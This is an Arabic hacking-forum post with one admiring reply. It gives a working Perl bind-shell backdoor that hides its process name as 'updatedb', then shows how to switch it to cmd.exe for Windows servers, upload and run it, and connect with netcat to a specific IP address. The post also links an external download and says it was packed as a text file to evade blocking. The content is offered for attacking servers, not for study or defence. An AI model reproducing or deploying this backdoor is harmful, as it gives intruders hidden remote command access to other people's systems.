اتصال عكسي: نكات netcat في سرفر وندوز (شرط وجود بيرل في السيرفر)

[KaLa$nikoV]

السلام عليكم و رحمة الله و بركاته
تشغيل اتصال عكسي: نكات في سرفر وندوز (شرط وجود بيرل في السيرفر)
نشوف ملف البيرل:

#!/usr/bin/perl

$port = 1360;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
	accept(X, S);
	unless(fork)
	{
		open STDIN, "<&X";
		open STDOUT, ">&X";
		open STDERR, ">&X";
		close X;
		exec("/bin/sh");
	}
	close X;
}

الملف يفتح بورت في أنظمة *nix

نغير الأمر

/bin/sh

إلى

cmd.exe

و نختار البورت المراد أنا اخترت 4444

الكود بعد التعديل :

#!/usr/bin/perl
$port = 4444;
$port = $ARGV[0] if $ARGV[0];
exit if fork;
$0 = "updatedb" . " " x100;
$SIG{CHLD} = 'IGNORE';
use Socket;
socket(S, PF_INET, SOCK_STREAM, 0);
setsockopt(S, SOL_SOCKET, SO_REUSEADDR, 1);
bind(S, sockaddr_in($port, INADDR_ANY));
listen(S, 50);
while(1)
{
	accept(X, S);
	unless(fork)
	{
		open STDIN, "<&X";
		open STDOUT, ">&X";
		open STDERR, ">&X";
		close X;
		exec("cmd.exe");
	}
	close X;
}

نرفعه و نشغله في السيرفر

perl win-bind.pl

في حاسوبنا ف نشغل netcat : نتصل بالسيرفر على البورت اللي اخترناه :

nc -vv remote-ip remote-port

أي:

nc -vv 217.174.252.229 4400

نشوف الإتصال :

نجح و في نفس المجلد اللي شغلنا فيه ملف البيرل !

للتوضيح لست انا مبرمج الملف .هو كان عندي قديم لكن عدلت عليه تعديل واحد فقط لتشغل أمر cmd.exe عند نجاح الإتصال



تحياتي​

م ن ق و ل

تحياتي
الموضوع بملف txt عشان الحظر



http://www.4shared.com/file/X-WOY2OM/netcat.html

 

[الشبح المرح]

بارك الله فيك طريقة جميلة و كود اجمل

جاري التجربة